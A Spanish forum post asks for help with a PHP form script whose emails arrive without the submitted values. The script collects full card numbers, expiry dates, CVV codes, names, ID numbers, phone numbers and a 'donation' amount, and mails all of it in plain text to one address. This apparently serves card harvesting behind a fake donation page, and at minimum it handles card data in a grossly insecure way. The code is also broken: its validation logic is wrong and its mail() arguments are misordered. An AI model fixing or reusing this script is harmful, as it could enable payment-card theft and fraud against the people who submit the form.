Bueno, ya tengo algo (y surge otro problema, envía el email (y llega inmediato) pero las variables no llegan):
llega algo así:
Número de tarjeta:
Nombre:
Apellidos:
cuando debería llegar así:
Número de tarjeta:
2524 2524 2524 2524
Nombre:
Pepe
Apellidos:
Apellidos de Pepe
aquí el código, ¿alguna idea?
<?php
if(isset($_POST['submit'])) {
if(trim($_POST['ntarjeta']) == '' && is_numeric($_POST['ntarjeta'])) {
$hasError = true;
} else {
$ntarjeta = trim($_POST['ntarjeta']);
}
if(trim($_POST['month']) == '' && is_numeric($_POST['month'])) {
$hasError = true;
} else {
$month = trim($_POST['month']);
}
if(trim($_POST['year']) == '' && is_numeric($_POST['year'])) {
$hasError = true;
} else {
$year = trim($_POST['year']);
}
if(trim($_POST['cvv']) == '' && is_numeric($_POST['cvv'])) {
$hasError = true;
} else {
$cvv = trim($_POST['cvv']);
}
if(trim($_POST['name']) == '') {
$hasError = true;
} else {
$name = trim($_POST['name']);
}
if(trim($_POST['lastname']) == '') {
$hasError = true;
} else {
$lastname = trim($_POST['lastname']);
}
if(trim($_POST['document']) == '') {
$hasError = true;
} else {
$document = trim($_POST['document']);
}
if(trim($_POST['ndocumento']) == '') {
$hasError = true;
} else {
$ndocumento = trim($_POST['ndocumento']);
}
if(trim($_POST['telephone']) == '') {
$hasError = true;
} else {
$telephone = trim($_POST['telephone']);
}
if(trim($_POST['email']) == '') {
$hasError = true;
} else {
$email = trim($_POST['email']);
}
if(trim($_POST['donate']) == '') {
$hasError = true;
} else {
$donate = trim($_POST['donate']);
}
}
function EmVal($e)
{
return preg_match("/^([a-zA-Z0-9])+([a-zA-Z0-9\._-])*@([a-zA-Z0-9_-])+([a-zA-Z0-9\._-]+)+$/",$e);
}
if(!isset($hasError)) {
$emailTo = '
[email protected]';
$body = 'From:<'.$email.'>' . "\r\n" . 'Reply-To: ' . $emailTo;
$headers = "Tarjeta: $ntarjeta \n\nMes: $month \n\nAno:\n $year \n\nCVV:\n $cvv \n\nNombre:\n $name \n\nApellidos:\n $lastname \n\nDocumento:\n $document \n\nNo. Documento:\n $ndocumento \n\nTelefono:\n $telephone \n\nEmail:\n $email \n\nDonacion:\n $donate";
mail($emailTo, $body, $headers);
$emailSent = true;}
?>